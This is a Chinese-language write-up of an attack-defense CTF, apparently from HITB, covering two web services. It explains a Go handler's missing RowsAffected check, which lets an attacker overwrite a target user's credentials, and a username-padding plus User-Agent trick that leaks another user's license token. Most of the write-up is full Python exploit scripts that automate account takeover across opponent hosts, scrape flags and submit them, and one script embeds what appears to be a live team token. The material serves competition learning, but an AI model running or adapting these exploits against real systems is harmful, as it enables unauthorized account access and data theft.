有幸参加了,比较新颖的是这次的规则,在规则中,flag全部是通过逻辑漏洞或者其他的非rce手段越权到目标用户拿到的,这样有效的避免了一些权限维持,提权的恶俗操作
由于主办方提供了含有flag的目标用户的用户名(比赛中称为flag_id),所以后面默认我们都已知目标用户的用户名
go web 有源码。
这段代码我省流一下,就是包含:登录,注册,后台显示所有records,登陆后添加records,这些功能
问题出在
看34行的代码,开发很规范
| result := db.Where("cookie = ?", cookieValue).Find(&session) |
| if result.Error != nil || result.RowsAffected == 0 { |
| c.HTML(http.StatusOK, template, gin.H{}) |
| return |
| } |
看230行的代码,handleAdd这个地方
| result := db.Where("cookie = ?", cookieValue).Find(&session) |
| if result.Error != nil { |
| c.HTML(http.StatusOK, template, gin.H{}) |
| return |
| } |
少了一个检查result.RowsAffected == 0
那么我随便传一个不为空的cookieValue,如{ctf: 0}
可以直接cookieValue为错误值,这样会使得session经过sql查询后被赋值为空
那么紧随其后会有创建记录
于是创建了一条record:
| { |
| User: 目标user(用户可控), |
| Pass: 目标password, |
| Site: 目标address(当然这里是用户自定义的值,还不是flag), |
| UserRef: session.User(由于查询失败,所以此处为空), |
| } |
插入一条记录后,直接用该目标用户账密(密码是自定义的,刚刚插入的)登录
看到了吧,刚刚好ref也为空
登录后直接访问/就可以看到
这里的r是循环遍历所有的records中的记录,规则说flag放在目标用户的address里,假如records含有flag用户的记录,那就会显示出flag/address
由于我们登录了,所以这里session和cookieValue都是有正确值的,是目标用户的session,所以可以输出
思路就是:
add开发忽略返回空的情况,导致add一个目标用户的records->变相修改了密码->任意用户登录,此时session不为空->拿到UserRef:session不为空的address (用户真正的address,而不是刚刚add中自定义的那个,因为那个UserRef为空)
脚本编写
| import re |
| import requests |
| from requests.packages.urllib3.exceptions import InsecureRequestWarning |
| requests.packages.urllib3.disable_warnings(InsecureRequestWarning) |
| import threading |
| |
| proxies={"http":"http://192.168.31.234:28080", "https":"http://192.168.31.234:28080"} |
| proxies={} |
| |
| def submit_flag(flag): |
| burp9_url = "https://ctf.hitb.org:443/flags" |
| burp9_headers = {"User-Agent": "curl/7.81.0", "Accept": "*/*", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"} |
| burp9_json=[flag] |
| burp9_r = requests.put(burp9_url, headers=burp9_headers, json=burp9_json, proxies=proxies, verify=False) |
| print(burp9_r.text) |
| |
| |
| |
| def ack(v): |
| host = v['host'] |
| for name in v['flag_ids']: |
| try: |
| if attack(host, name): |
| break |
| break |
| except: |
| pass |
| |
| def attack(host, name): |
| print(host, name) |
| session = requests.session() |
| |
| burp6_url = "https://"+host+"/add" |
| burp6_cookies = {"ctf": "0"} |
| burp6_headers = {"User-Agent": "CTF", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "X-Forwarded-Proto": "https", "Content-Type": "application/x-www-form-urlencoded"} |
| burp6_data = {"user": name, "password": "676025ec3a8399be3beaa717a0476cca", "address": "87c56fc9595eb1a699caae65466a6e21"} |
| burp6_r = session.post(burp6_url, timeout=2,headers=burp6_headers, cookies=burp6_cookies, data=burp6_data, proxies=proxies, verify=False) |
| |
| |
| burp7_url = "https://"+host+"/" |
| burp7_headers = {"User-Agent": "CTF", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "X-Forwarded-Proto": "https", "Content-Type": "application/x-www-form-urlencoded"} |
| burp7_data = {"user": name, "password": "676025ec3a8399be3beaa717a0476cca", "login": "Login"} |
| burp7_r = session.post(burp7_url, timeout=2,headers=burp7_headers, data=burp7_data, proxies=proxies, verify=False) |
| |
| |
| burp8_url = "https://"+host+"/" |
| burp8_headers = {"User-Agent": "CTF", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "X-Forwarded-Proto": "https"} |
| burp8_r = session.get(burp8_url, timeout=2,headers=burp8_headers, proxies=proxies, verify=False) |
| |
| |
| burp8_m = re.findall(r'<td>(TEAM.*)</td>', burp8_r.text) |
| |
| for flag in burp8_m: |
| print(flag) |
| submit_flag(flag) |
| return True |
| return False |
| |
| def one(): |
| burp5_url = "https://ctf.hitb.org:443/flag_ids?service=4" |
| burp5_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Connection": "close"} |
| burp5_r = requests.get(burp5_url, headers=burp5_headers, proxies=proxies, verify=False) |
| j = burp5_r.json() |
| for k,v in j['flag_ids'].items(): |
| print(k) |
| threading.Thread(target=ack,args=(v,)).start() |
| |
| while True: |
| try: |
| one() |
| except: |
| pass |
| pass |
很激动,终于有看得懂的py题了,结果看了半天,毫无弱点
想想是不是缺了什么,哦,不知道 token = GetTOK()怎么实现的
然后丢给同事去逆了(xnuca个人第一的爷我舔爆),最后他们都说花指令啥的逆不明白
然后发现这个题有人在上分,抓流量去了,然后还是不会,最后还得是优秀的同事,他逆出来好像会校验一个user-agent和截取字符串
然后结合流量看了一波,总结出来是这样的:
1.创建一个含有flag的用户:注册一个账号xxx-xxx-xxx,然后flag在数据库,所以我在makelicense那里创建一个flag(应该是那个可选的参数)
2.退出登陆,开始想办法拿flag,注册一个xxx-xxx-xxx____ (必须要____
结尾,下划线数量不限,保证能注册上就行),然后这个时候去请求make_license,要求带上user-agent:ctf,然后请求参数为空,请求后会返回一个token
3.带着这个token请求左边那个api,可以看到xxx-xxx-xxx的license值(也就是flag)
然后就是苦逼写exp了,这东西到可以打出flag写了2小时
| import requests |
| import re |
| |
| def username_to_getflag(url_, username): |
| print(username,url_) |
| url = url_ |
| |
| |
| session = requests.Session() |
| |
| payload1 = {'login': f'{username}_____________________________________________________', 'password': 'admin123'} |
| |
| |
| print(payload1) |
| |
| |
| |
| resp = session.post(url = url + "/register", data=payload1,verify=False) |
| |
| if "Logged in as " in resp.text: |
| print("successfully register!") |
| elif "Already exists" in resp.text: |
| print("username has been registered!") |
| return "username has been registered!" |
| else: |
| print(resp.text) |
| print("register error!") |
| return "register error!" |
| |
| payload2 = {"license_key":""} |
| |
| |
| |
| headers = {"User-Agent":"ctf"} |
| resp = session.post(url = url + "/make_license", data=payload2, headers=headers,verify=False) |
| |
| if "Successfully added. Your token is " in resp.text: |
| |
| |
| token = re.findall(r"Successfully added. Your token is (.*)", resp.text)[0] |
| print(token) |
| |
| resp = session.get(url = url + "/get_token?token=" + token,verify=False) |
| if "Your license is TEAM" in resp.text: |
| print("get flag") |
| flag = re.findall(r"Your license is (.*)", resp.text)[0] |
| print(flag) |
| return flag |
| else: |
| print("get flag error") |
| return "get flag error" |
| |
| |
| else: |
| print("get token error") |
| return "get token error" |
| |
| def submit_flag(flag): |
| burp9_url = "https://ctf.hitb.org:443/flags" |
| burp9_headers = {"User-Agent": "curl/7.81.0", "Accept": "*/*", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"} |
| burp9_json=[flag] |
| burp9_r = requests.put(burp9_url, headers=burp9_headers, json=burp9_json, verify=False) |
| print(burp9_r.text) |
| |
| def try_to_register(url,username): |
| |
| i = 20 |
| flag_ = username_to_getflag(url,username) |
| while True: |
| i = i + 1 |
| if flag_ == "username has been registered!" or flag_ == "register error!": |
| username = username + "_"*i |
| flag_ = username_to_getflag(url,username) |
| elif "TEAM" in flag_: |
| print("get flag!") |
| print(flag_) |
| print("*"*20) |
| open("flag.txt", "a").write(flag_ + "\n") |
| break |
| else: |
| print("error!") |
| break |
| |
| def one(): |
| burp5_url = "https://ctf.hitb.org:443/flag_ids?service=7" |
| burp5_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Connection": "close"} |
| burp5_r = requests.get(burp5_url, headers=burp5_headers, verify=False) |
| j = burp5_r.json() |
| for k,v in j['flag_ids'].items(): |
| |
| ids = v['flag_ids'] |
| host = v['host'] |
| for id in ids: |
| |
| |
| username = id |
| try_to_register(host,username) |
| |
| |
| |
| if __name__ == '__main__': |
| |
| try_to_register("http://10.60.149.7:8080/","du5o-ylp_p-b9_kx") |
| try_to_register("http://10.60.149.7:8080/","0oam_-zzra-kq9q") |
说一些比较坑的,就是登录的session,对策是建议用session = requests.session()
另一个点是用户被注册过,所以要添加下划线数量直至没有被注册过,这样的话还得套个for循环
然后就是批量拿flag_id和submit_flag,由于主办方用的https,所以我配证书还弄了两年